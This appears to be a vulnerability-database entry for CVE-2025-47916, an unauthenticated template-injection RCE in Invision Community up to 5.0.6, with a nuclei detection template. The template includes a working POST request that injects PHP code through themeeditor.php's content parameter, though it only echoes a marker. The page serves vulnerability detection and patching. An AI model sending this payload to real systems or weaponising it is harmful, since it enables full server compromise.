Browse / CVEs / CVE-2025-47916
CVE-2025-47916· CWE-1336
Invision Community <=5.0.6 Unauthenticated RCE via Template Injection
Invision Community 5.0.0 before 5.0.7 allows remote code execution via crafted template strings to themeeditor.php. The issue lies within the themeeditor controller (/applications/core/modules/front/system/themeeditor.php), where a protected method named customCss can be invoked by unauthenticated users. This method passes the value of the content parameter to the Theme::makeProcessFunction() method, which is evaluated by the template engine. Accordingly, unauthenticated attackers can inject and execute arbitrary PHP code by providing crafted template strings.
Impact
Unauthenticated attackers can inject and execute arbitrary PHP code through the content parameter in themeeditor.php, achieving complete server compromise.
Fix
Upgrade Invision Community to version 5.0.7 or later that properly sanitizes template strings before evaluation.
How to confirm it
Send: POST /
Positive when: contains "CVE{{marker}}"Run it with nuclei: nuclei -id CVE-2025-47916 -u <target>
The full check
id: CVE-2025-47916
info:
name: Invision Community <=5.0.6 Unauthenticated RCE via Template Injection
author: EgiX,iamnoooob,pdresearch
severity: critical
description: |
Invision Community 5.0.0 before 5.0.7 allows remote code execution via crafted template strings to themeeditor.php. The issue lies within the themeeditor controller (/applications/core/modules/front/system/themeeditor.php), where a protected method named customCss can be invoked by unauthenticated users. This method passes the value of the content parameter to the Theme::makeProcessFunction() method, which is evaluated by the template engine. Accordingly, unauthenticated attackers can inject and execute arbitrary PHP code by providing crafted template strings.
impact: |
Unauthenticated attackers can inject and execute arbitrary PHP code through the content parameter in themeeditor.php, achieving complete server compromise.
remediation: |
Upgrade Invision Community to version 5.0.7 or later that properly sanitizes template strings before evaluation.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2025-47916
- https://karmainsecurity.com/pocs/CVE-2025-47916.php
- https://invisioncommunity.com/release-notes-v5/507-r41/
- https://karmainsecurity.com/KIS-2025-02
- http://seclists.org/fulldisclosure/2025/May/4
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
cvss-score: 10
cve-id: CVE-2025-47916
cwe-id: CWE-1336
epss-score: 0.84318
epss-percentile: 0.99702
metadata:
verified: true
max-request: 1
fofa-query: body="Invision" && body="ips4"
shodan-query: "Set-Cookie: ips4_"
tags: cve,cve2025,invision,rce,ssti,unauth,seclists,vkev,vuln
variables:
marker: "{{randstr}}"
http:
- raw:
- |
POST / HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
app=core&module=system&controller=themeeditor&do=customCss&content=%7Bexpression%3D%22die%28%27CVE%27. base64_decode%28%27{{base64(marker)}}%3D%27%29%29%22%7D
matchers:
- type: word
part: body
words:
- 'CVE{{marker}}'References
- https://nvd.nist.gov/vuln/detail/CVE-2025-47916
- https://karmainsecurity.com/pocs/CVE-2025-47916.php
- https://invisioncommunity.com/release-notes-v5/507-r41/
- https://karmainsecurity.com/KIS-2025-02
- http://seclists.org/fulldisclosure/2025/May/4
Use this check only on systems you are authorised to test. Where the data comes from